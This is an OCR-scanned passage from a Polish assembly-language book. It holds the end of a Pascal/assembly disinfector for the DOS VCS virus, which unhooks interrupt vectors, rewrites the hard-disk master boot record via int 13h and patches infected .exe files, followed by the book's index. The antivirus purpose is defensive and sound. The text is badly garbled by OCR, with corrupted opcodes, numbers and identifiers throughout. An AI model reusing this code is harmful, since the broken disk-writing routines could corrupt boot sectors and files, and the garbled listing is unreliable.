'Usuniecie wirusa VCS/AND z grupy plikow.',kb F4, cm4 newstatuskey('~ESC~ - Koniec' kb ESC,Cm Quit, nil)), newœtatusdef(hc5 hc5 newstatuskey( 'Calkowita dezaktywacja wirusa VCS/AND.',kb FS, cm5 newstatuskey('~ESC~ - Koniec' kb ESC,Cm Quit, nil)), newœtatusdef(hc6 hc6 newstatuskey( ~ESC~ - Koniec pracy programu.',kb ESC,Cm Quit, nil), nil))))))))) end; procedure taplikacja.pisz(s:string); var i:byte; begin with napis^ do ' ="ţ ţ' if numerlinii8 then begin tekst[numerlinii]:=s; inc(numerlinii); end else begin for iţ=2 to 8 do tekst[i-1]:=napis^.tekst[i]; tekst[8]:=s; end; napis^.draw end; function taplikacja.wyborţplikow:pathstr; var r : trect ; dialog :pdialog; linia :pinputline;Rhistoria:phistory; input :pathstr; wynik :word; begin r.assign(20 2 60 9); dialoţ:=new(pdialog,init(r,'Podaj nazwe pliku(ow) ')); '7=ţ r.assign(13,4,22,6); dialog^.insert(new(p button init(r '~O K ~' cmok,bfdefƒult))); r.assign(23 4 37 6)ů dialog^.ins‚rt(n‚w(pbutton,init(r,'~Z~ powrotem', cm Cancel,bfnormal))); r.assign(2,2,38,3); linia:=new(pinputl.ine,init(r,79)); dialoţ^.insert(linia); r.assiţn(10 5 30 15)ů historia:=(ńewlphistory,init(r,linia,l))); historia^.hide; dialog^.insert(historia); 267 input:='\*.exe'ů dialog^ setdata(input); napis .hideţ wynik:=desktop^.execview(dialog); napis^.show; if wynikcmcancel then dialog^.getdata(input) else input:= wyborţplikow: input; end; procedure taplikacja.handleevent(var event:tevent); var nazwa:pathstr; begin if event.what=evcommand then case event.command of cml: begin usuniecieţzţsystemu; menu:=true; end; cm2: begin usuniecieţzţtablicyţpartycji; Tmenu:=true; end ; cm3: begin pisz('Usuwam wirusa VCS z plikow \*.exe'); usuniecie zţgrupyţplikow('\*.exe'); pisz('Skonczylem usuwanie wirusa VCS z plikow \*.exe'); menu:=true; end; cm4: begin nazwa:=wyborţplikow; pisz('Usuwam wirusa VCS z plikow '+nazwa); usuniecieţzţgrupyţplikow(nazwa); pisz('Skonczylem usuwanie wirusa VCS z plikow '+nazwa); menu:=true; end; cm5: begin usuniecieţzţsystemu; usuniecie z tablicyţpartycji; pisz('Usuwam wirusa VCS z plikow \*.exe'); usuniecie zţgrupyţplikow('\*.exe'); pisz('Skończylem usuwanie wirusa VCS z plikow \*.exe'); menu:=true; end; end; if menu then ţ begin event.what:=evcommand; event . command : =cmmenu ; menubar^ show; menu:=false; end else if ((event.what=evcommand) and (event.command=cmcancel)) or ((event.what=evcommand) and (event.command=cmreleasedfocus)) then Rbegin event.what:=evcommand; event.command:=cmquit; end; tapplication.handleevent(event); end; procedure tapl ikac j a . usuniec ieţzţsys tţ:::ţu ; begin asm mov usuniety,O Rmov ax,haslo int 21h cmp ax,odzew jne@@1 push Tds ) /C ţ 268 mov ax,3521h int 2 lh ţ~ mov ax,es:[0174h) mov ds , ax mov dx,es:[0172h] mov ax,2512h int 21h mov ax,es:[0383h] mov ds , ax mov dx,es:[0381h] mov ax 2 513 h int 2 lh mov ax,es:[0339h] mov ds , ax mov dx,es-[0337h) mov ax,2521h int 2 lh pop ds mov usuniety,l R@@1: end; if usuniety then pisz ('Usunalem wirusa VCS z systemu operacyjnego.') else pisz ('Nie znalazlem wirusa VCS w systemie operacyjnym.') _ end; procedure taplikacja.usuniecieţzţtablicyţpartycji; begin asm mov ax,haslo int 2 lh cmp ax odzew je @@1 mov dx,0080H mov cx,0001H mov ax , seg bufor mov es , ax mov bx,offset bufor mov ax,0201h int 13h mov ax , seg bufor mov ds , ax mov ax,seg bajtyţcharakterystyczne mov es , ax mov si,offset bufor mov di,offset bajtyţcharakterystyczne ;ţţ cld mov cx,l Oh --ţ . rep cmpsb je @@1 mov usuniety,0 @@1: m OV mov cx , 9 _ mov ax , seg bufor mov es , ax mov bx,offset bufor mov ax,0201h int 13h mov dx,80h mov cx ,1 mov ax , seg bufor mov es , ax mov bx , o f f s et bu for 'ţ'ţ' mov ax,0301h int 13h mov usuniety,l @@2: end; if usuniety then pisz (' Usunalem wirusa VCS z tablicy partycji ') else pisz(' Nie znalazlem wirusa VCS w tablicy partycji.') end; ,* 269 proceduretaplikacja.usuniecie zţliku (nazwa:pathstr); var adres nazwy:array[1..2) of word; begin adres nazwy[2]:=seg(nazwa); adresţnazwy[1):=ofs(nazwa)+1; asm r ů mov usuniety, 0 push ds lds dx,adres nazwy mov ax, 3d021i i int 2 lh jc @@3 mov bx , ax mov ax,4202h mov cx , -1 mo V dx,-0800h int 21h mov ax, seg bufor mov ds , ax mov dx,offset bufor mov ah,3fh mov cx,800h int 21h mov ax, seg bufor mov ds , ax mov ax,seg bajtyţcharakterystyczne mov es , ax ; mov si , offset bufor mov di,offset bajtyţcharakterystyczne cld mov cx,l Oh rep cmpsb e @@1 jmp @@2 ' @@1: mov ax,4200H xor cx , cx mov dx,14H int 21h mov ax,seg bufor[620h] mov ds , ax mov dx,offset bufor[620h] mov ah,40h mov cx , 2 int 2 lh mov ax,4200H xor cx , cx mov dx 16H int 21h mov ax,seg bufor[622h] mov ds , ax mov dx,offset bufor[622h] mov ah,40h mov cx 2 , int 21h mov ax,4200H xor cx, cx mov dx , 4 int 21h mov ax , seg bufor mov ds , ax mov dx,offset bufor mov ah , 3 Ft. mov cx 2 int 21h i mov ax,word ptr bufor sub ax , 4 mov word ptr bufor,ax mov ax,4200H xor cx , cx mov dx 4 ' int 2 lhRmov ah , 4 Oh mov dx,offset bufor mov cx , 2 270 ` ţţ int 21h mov ax,4202H mov cx , -1 mov dx,-800H int 21h mov ah,40h xor cx cx _ int 2 lh pop ds mov usuniety,1 push ds @@2: mov ah 3 Eh int 21h @@3: pop ds end ; if usuniety then pisz('Usunalem wirusa VCS z pliku '+nazwa); end; procedure taplikacja.usuniecieţzţgrupyţplikow (nazwa: pathstr); :"ţ var sciezka :dirstr; nazwa lokalna:namestr; rozsz‚rzenie :extstrů info :searchrecţ nazwaţjednoznaczna :pathstr; begin if nazwa=" then exit; fsplit(fexpand(nazwa) sciezka,nazwaţlokalna,rozszerzenie); findfirst(nazwa,anyfile,info); while doserror=0 do begin nazwaţjednoznaczna:=fexpand(sciezka+info.name); usuniecieţzţpliku(nazwaţjednoznaczna+#0); findnext(info); endţ findfirst(sciezka+'*.*',directory,info); while doserror=0 do begin if (info.attr and directory)0 then if info.name[1)'.' then usuniecie zţgrupyţplikow (sciezka+info.name+'\'+nazwaţlokalna+rozszerzenie); . ;:ţţ findnext(info); end; end ; ţ':ţ var moja aplikacja:taplikacja; begin moja aplikacja.init; moţa aplikacţa.runů moţa aplikacţa.done _ end. Skorowidz AAA . 65 AAD 66 AAM 66 AAS 66 Accumulator . . . ADC 66 ADD . . . .12,67 adres fizyczny . . ,5 alt . . . . . .114 - AND . . . .17,67 ARPL . atrybuty pliku . . 42 Atrybuty urzšdzenia . 44 AUTOEXEC.BAT . . . 32 Auxiliary Carry Flag . AX bajt . . .2 Base Pointer ,5 Basic Input Output System . . . 35 BCD . 32 BIOS . 31, 35,112 bit . bliskieoperacje . . . .7 blok ładujšcy Blok FCB . . . 48 blok ładujšcy . .31, 37 Bound . BP .5 BSF . 68 ' BSR . 69 BSWAP . . . . . 69 BT . 69 BTC . 70 BTR , 70 ţ BTS . . . 70 bufor roboczy . 48 BX .4 C Cache . . 36 CALL . . .19, 70 capslock . . . . .114 Carry Flag . CBW , 71 ,. h ţ 272 `+ţ CGA . . . . 124 CLC . . . 21, 71 CLD . . . 21, 71 CLI . . 21, 72 CLTS . cluster . . . 39 CMC . CMOS 32 CM P . CMPS CMPSB . . . 21, 73 CMPSD . . CMPSW . . CMPXCHG .73 CODE Code Segment . . . 5 COM . . 32, 47 COMMAND.COM . . Compact . CONFIG.SYS . .32 Counter Register . . CS ctrl . . . 114 CWD . CWDE ;ţ = CX DAA . . . .74 dalekieoperacje . . . . 7 DAS . . . .74 DATA . . . . 8 Data Register DataSegment . . . . 5 DB ; ţţ DD 5 DEC . . 12 74 definiowanie matrycy znaków . . 119 Destinationlndex . . . . DEVICE . . . . .44 DI . 5 DirectionFlag . . . . 6 DIV . . . . 13 75 DMA kontroller . 120 DMA w komputerach AT DS . 5 DW DX dyrektywa . . 7 ţ; . , 273 EGA . . .124 END . . . 10 ENTER . . . . 75 ES . .5 etykieta . . . . 10 EXE . . . 43 Extra Segment . .5 F2XM1 . . . .112 FABS . . . .101 FADD . . . .101 FADDP . . . .101 FBLD . . . .102 FBSTP . . . .102 FCB FCHS . . . .102 FCLEX . . . .102 FCOM . . . .102 FCOMP . . .102 FCOMPP . . . . .102 FCOS . . . .103 FDC . . .139 FDECSTP . . . .103 FDISI . . . .103 FDIV . . .103 FDIVP . . . .103 FDIVR . . . .103 FDIVRP . . .103 FENI . . .104 FIADD . . . .104 FICOM . . . .104 FIDIV . . . .104 FIDIVR . . . .104 FILD . . . . .104 FIMUL . . . .105 FINCSTP . . . . .105 FINIT . . . .105 FIST . . . . .105 FISTP . . . .105 , FISUB . . . .105 FISUBR . . .106 FLD . . . . .106 FLD1 . . . .107 FLDCW . . .106 FLDENV . . . . .106 FLDL2E . . .106 FLDL2T . . .107 FLDLG2 . . .106 FLDLN2 . . .106 r;ţ 274 FLDPI . . . . 107 FLDZ . . . . 107 FMUL . FMULP . . . . . 107 FNCLEX . . . . . 102 FNDISI . . . . . 103 FNENI . . . . . 104 FNINIT . . . 105 FNOP . . . . 107 FNSAVE . FNSTCW . FNSTENV . . . . 109 FNSTSW . . . . 110 FNSTSW AX . . . 110 FPATAN . . . . . 108 FPREM . . FPREM1 . FPTAN . . . . . 108 FREE . . . . 104 FRNDINT . FRSTOR . FSAVE . . . . . 108 FSCALE . . . . . 108 FSETPM . . . . 109 . t 09 FSIN . ` FSINCOS . . . . 109 FSQRT . . . . . 109 FST . FSTCW . . . 109 FSTENV . . _ FSTP . FSTSW . . . . . 110 FSTSW AX . . . 110 FSUB . . . . 110 FSUBP . . . 110 FSUBR . . FSUBRP . FTST . FUCOM . . FUCOMP . . . . 111 FUCOMPP . funkcja DOSa: OOH . . . ~; ': funkcja DOSa: 01H . . . . . 189 funkcja DOSa: 02H . . . . . 190 funkcja DOSa: 03H . . . . . 190 funkcja DOSa: 04H . . . . . 190 funkcja DOSa: 05H . . . . . 191 funkcja DOSa: 06H . . . . . 191 funkcja DOSa: 07H . . . funkcja DOSa: 08H . . . funkcja DOSa: 09H . . . . . 192 funkcja DO Sa: OAH . . . . . 192 funkcja DOSa: OBH . . . . .192 funkcja DOSa: OCH . , , , ,1g2 funkcja DOSa: ODH . . . . .193 funkcja DOSa: OEH . . . . .193 funkcja DOSa: OFH . . . . .193 funkcjaDOSa:10H . . . . .195 funkcjaDOSa:11H . . . . .195 funkcjaDOSa:12H . . . . .195 funkcjaDOSa:13H . . . . . . .196 funkcjaDOSa:14H . . . . . . .196 funkcja DOSa:15H . . . . . . .196 funkcjaDOSa:16H . , , , , , ,1g7 funkcjaDOSa:17H . , , , , , ,1g7 funkcjaDOSa:19H . . . . . . .197 funkcja DOSa:1AH . . . . . . .197 funkcjaDOSa:lBH . . . . . . .198 funkcja DOSa:1CH . . . . . . .198 funkcja DOSa:1FH . . . . . . .198 funkcja DOSa: 21 H . . . . . . .199 funkcja DOSa: 22H . . . . . . .199 funkcja DOSa: 23H . . . . . . .200 funkcja DOSa: 24H . . . . . . .200 funkcja DOSa: 25H . funkcja DOSa: 26H . . . . . . .201 funkcja DOSa: 27H . . . . . . .201 funkcja DOSa: 28H . funkcja DOSa: 29H . . . . . . .202 funkcja DOSa: 2AH . . . . . . .202 funkcja DOSa: 2BH . . . . . .203 funkcja DOSa: 2CH . . . . . .203 funkcja DOSa: 2DH . . . . . .203 funkcja DOSa: 2EH . . . . . .203 funkcja DOSa: 2FH . . . . . . . .204 funkcja DOSa: 30H . . . . . . . .204 funkcja DOSa: 31 H . . . . . . . .204 funkcja DOSa: 32H . . . . . . . .205 funkcja DOSa: 33H . . . . . . . .205 funkcja DOSa: 34H . . . . . . . .205 funkcja DOSa: 35H . . . . . . . .206 funkcja DOSa: 36H . . . . . . . .206 funkcja DOSa: 38H . . . . . . . .206 funkcja DOSa: 39H . . . tunkcja DOSa: 3AH . . . . . .208 funkcja DOSa: 3BH . . . , , ,20g funkcja DOSa: 3CH . . . . . .208 funkcja DOSa: 3DH . . . . . .209 funkcja DOSa: 3EH . . . . . .209 funkcja DOSa: 3FH . . . . . .209 funkcja DOSa: 40H . . . . . .210 tunkcja DOSa: 41 H . . . . . . .210 funkcja DOSa: 42H . . . . . . .211 funkcja DOSa: 43H . . . . . . .211 276 funkcja DOSa: 4400H . . . 212 funkcja DOSa: 4401 H . . . 212 funkcja DOSa: 4406H funkcja DOSa: 4407H . . . 213 funkcja DOSa: 4408H . . . 214 funkcja DOSa: 4409H . . . 214 funkcja DOSa: 440AH . . . 214 funkcja DOSa: 4408H . . . 215 funkcja DOSa: 440CH . 215 funkcja DOSa: 440DH . 219 funkcja DOSa: 45H . . 219 funkcja DOSa: 46H . . 221 funkcja DOSa: 47H . . 221 funkcja DOSa: 48H . . 221 funkcja DOSa: 49H . funkcja DOSa: 4AH . . . . 222 funkcja DOSa: 4BOOH . . . 222 funkcja DOSa: 4803H . . . 223 funkcja DOSa: 4CH . . . . 223 tunkcja DOSa: 4DH . . . . 223 funkcja DOSa: 4EH . . . . 223 funkcja DOSa: 4FH . . . funkcja DOSa: 50H . . . . . . 224 funkcja DOSa: 51 H . . . . . . 224 funkcja DOSa: 52H . . . . . . 225 funkcja DOSa: 54H . . . . . . 225 funkcja DOSa: 55H . . . . . . 225 funkcja DOSa: 56H . . . . 226 funkcja DOSa: 57H . . . . . . 226 funkcja DOSa: 58H . . . . . . 226 funkcja DOSa: 59H . . . . . . 227 funkcja DOSa: 5AH , . . . . . 227 . 227 funkcja DOSa: 5BH . . . . 228 funkcja DOSa: 5CH . . . 228 funkcja DOSa: SEOOH . funkcja DOSa: 5E02H . funkcja DOSa: 5F02H . 229 funkcja DOSa: 5F03H . 229 funkcja DOSa: 5F04H . 229 funkcja DOSa: 62H . . 230 funkcja DOSa: 65H . . 230 funkcja DOSa: 66H . . 230 funkcja DOSa: 67H . . funkcja DOSa: 68H . . 231 funkcja DOSa: 6CH . . funkcjaDOSa:37H . . . 206 funkcje systemu DOS . 189 FWAIT . . FXAM . FXCH . FXTRACT . . . 112 FYL2X . . . .112 FYL2XP1 . . . . .112 GameUO . . . . .122 gigabajt . . .3 goršcy restart giowice . . . . . . 37 gfówny blok ładujšey . . . . . 37 gfównykatalog . . . 41 HLT . . . 75 Huge . .8 identyfikatory . . . . . 39 IDIV . . . . . 76 IMUL . . . . . . 76 IN . . . . .21,76 INC . . . .12,77 informacje o znakach trybu graficznego . . . . . .118 informacje o znakach trybu tekstowego . . . . . .117 INS INSB INSD . insert . . . .114 InstructionPointer . . . .5 instrukcje sterujšce programem . . 18 INSW . INT INT 21 H . . . . .9 InterpreterBASIC-a . . . . . . 36 InterruptFlag . . .6 INTO . INVD . . . . 78 INVLPG . . IO.SYS . . . . 31 IP . .5 IRET . . . 78 IRETD . . . . 78 JAIJNBE . . . . 19 JAE/JNB . . 19 JBIJNAE . . . . 19 JBEIJNA . . 19 JC . 19 Jcc . . . . . 78 JEIJZ . 19 jednostkiprzydziafu . . . . . . 39 JG/JNLE . . . . 19 5ţ 278 ` ~ţ JGEIJNL . .19 ţ4 JLIJNGE . . 18, 80 JMP . . . JNC . . .19 ţ JNE/JNZ . JNGIJLE . JNO . . . .19 ! JNP/JPO . . . .19 i JNS . JO .19 JP/JPE . . . . . .19 .19 I karta prototypu . . 123 kataloggłówny . . . .37 ţ;,ţ kilobajt . . klawiatura 101-klawiszowa . . 241, 243 klawiatura PC/AT 84 klawisze . . . 243 klawiaturaPC/XT . . . . . . 242 ; kodyASCllrozszerzone . . . 240 I kody btędów kodyklawiatury . . . . 242 kody kontrolne dla drukarek IBMIEpson i kompatybilnych . . . . . . . 244 kody polskich liter . . . . . 242 kontrolerklawiatury . . . . 121 kontrolerprzerwari . . . . 120,122 LAHF . Large . . . . 8 LDS . LEA . LEAVE . . .82 LES . LFS . LGDT . LGS . .81 .82 LIDT 140 listaprzerwari . . lista rozkazów . .65 LLDT . .82 LMSW ! LOCK . . . . . LODS . . . LODSB . . . . LODSD . . . . LODSW . . . . '83 1 ' LOOP . . . . . . . . . . 19,83 ţ LOOPc . . . . .83 ! LPT1 . LSL LSS LTR ładowalne programy obsługi urzšdzeri . . 44 mapapamięci . . . . 35 mapa portów komputera PC/XTIAT . .120 Master Boot Record . . . Medium . 37 megabajt . . .7 menadżer funkcji systemowych .3 MODEL . . MOV MOVS . 9, 84 - 85 MOVSB . . . . . 85 MOVSD . . . . . 85 MOVSW . . . . . 85 MOVSX . . MOVZX . . . 86 MSDOS.SYS MUL . . . . . . 31 . .13,86 nagłówek . . . 44 nakładka . . NEG . . . . 44 NOP NOT . .21, 87 numer sektora logicznego . .16, 87 numlock . . . 37 . . .114 obszar danych karty EGA(VGA) . obszar parametrów dynamicznych: offset . opis klawiatury AT . . .5 . .127 OR organizacja dysku OUT . . OUTS . OUTSB . OUTSD OUTSW Overflow flag . . . .6 pakiety zleceri . 45 pamięć ekranu . . . 35 Pamięć karty EGANGA . 36 Pamięć obrazu CGA . . 36 280 Parity Flag . partycja . . 38 partycje . . plik typu COM . 43 plik typu EXE 43 plik typu SYS 44 . 11,89 POPA . POPAD . . 89 POPF . 89 POPFD . . port asynehroniczny . port kontrolny rozszerzeri . . . . 122 , .: ; portkoprocesora . . . . . 122 port NMI . . 122 l r porty CGA . porty DMA . portydrukarki . . . 131 porty EGA . . 123,133 portyFDC . . . . 139 porty joysticka . porty szeregowe . porty dysku twardego AT . . . . 129 i porty dysku twardego XT . porty VGA . . . . 137 , porty wejœcia/wyjœcia . . 4 ţ POST . PPI . . .120 -121 procesor . . 4 procesy . . programobsługi . . . Program Segment Prefix . programy w postaci przemieszczalnej . . . 43 przechwytywanie przerwari . . 23 przedrostek procesu . 48 'ţ ' przerwania . . 6,140 ) przervrania programowe przerwanie00H . . . z przerwanie O1 H przenvanie02H . . . . 141 przerwanie 03H . przerwanie 04H . przerwanie 05H . . 142 przerwanie 08H . 142 przerwanie 09H . 143 przerwanieOEH . . . . 143 ţ przerwanie 10H . . . 143 -148,150,152 -154,156 ţ przerwanie 11 H . . . . 156 przerwaniel2H . . . . 156 przerwanie 13H .157 -163 przerwanie 14H .163 -164 przerwanie 15H .165 -168 281 przerwanie 16H . . . . . 168 -169 przerwanie 17H . .170 przerwanie 18H , ,170 przerwanie 19H , ,171 przerwanie 1AH . . . . . 171-173 przerwanie 1 BH , ,173 przerwanie 1 CH , ,173 przerwanie 1 DH . .174 przerwanie 1 EH . .174 przerwanie 1 FH . .175 przerwanie 20H , ,175 przerwanie2lH . . . . . .175,185 przerwanie 22H , ,175 przerwanie 23H . .175 przerwanie 24H . .176 przerwanie 25H/26H . .177 przerwanie 27H przerwanie28H . . , ,177 przerwanie 29H . . przerwanie2EH . . , ,17g przerwanie2FH . . . .178 przerwanie33H . . . .179 przerwanie 41 H,46H . .181 przerwanie 44H . . przerwanie4AH . . , ,1g2 przerwanie50H . . . .182 przerwanie 67H . . . . . . 182 -185 przerwanie sprzętowe . . PSP . . , 4g push . . . . .11, 89 PUSHA . . 90 PUSHAD . 90 PUSHF . . 90 PUSHFD . 90 ramki, linie, rysunki . . . . . .239 RCL . . RCR . . . . .14,90 rejestrznaczników . . . . . . .6 rej‚stry . . . . . .4 REP . . , g1 REPE . , g1 REPNE . . 91 REPNZ . . 91 REPZ . . 91 resetkoprocesora . . . .122 RET . . . . .19,92 RETF . . 92 rodzaje dysków twardych . . . . . . . 34 ROL . . . . .14,90 ROM . . 282 .14 ROR . , , . 101 rozkazy 8087, 80287, 80387, 80486 rozszerzenia . . . 123 rozszerzone kody ASCII . . . . 240 RS-232 . . . . . 113 RTC . SAHF . . 93 SAL . . . 14, 93 ' SAR . . . 14, 93 ' 94 SCAS . 94 SCASB . . . .94 SCASD . . . .94 . 94 SCASW . . . 114 scrolllock . , 124 SDLC . segment . . sektory sektory logiczne . S E Tcc .95 SETUP . . . . .31 SGDT . . . .95 . 114 shitt . . 14, 93 SHL . . 96 SHLD . . 14, 93 SHR . SI SIDT . . .95 . 6 Si n Fla . , ţ skokiwarunkowe . . . . SLDT . Small . SMSW . . .96 ,9 Source Index SP . 5 SS STACK . . . 5 Stack Pointer StackSegment . . . . . 5 start systemu STC . . . . . 21,96 STD . . . . . 21,97 STI . . . . 21,97 stos . . . . . 10,97 ţ STOSB . . STOSD . . .97 STOSW . . STR . strefy . SUB . . . . . . 12,98 283 SYS . . system binarny system dwójkowy . szczepionka . . . .264 œcieżki . . 37 œrodowisko systemowe tablica FAT . . .37, 39 Tablica parametrów EGA . . .117 tablicapartycji . . . 37 tablica partycji dysku twardego . . . . 37 tablica wektorów przerwari . . . . 35 TEST . . .17, 98 Tiny . . . . . .7 TrapFlag . . . . . .6 TSR (Terminate & Stay Resident) urzšdzenia blokowe . . urzšdzeniazewnętrzne . . . .4 urzšdzeniaznakowe . . . . 44 VERR . . , , gg VERW . . . 98 VGA . . . . . .124 Wait . . . . 99 WBINVD . . . . 99 wirusVCS . . . . . .254 XADD . . . 99 XCHG . . . 99 XLAT . . .100 XLATB . . .100 XOR . . 17,100 zegar czasu rzeczywistego . ZeroFlag . . . . . . . .6 zmienne systemowe . . 36,112 znakiASCll . . . . . .237 znaki kontrolne ASCII . . . .239 złšczeasynchroniczne . . . . . .123 ţE :^ţ 'ţr . ţ,:ţ ‹t=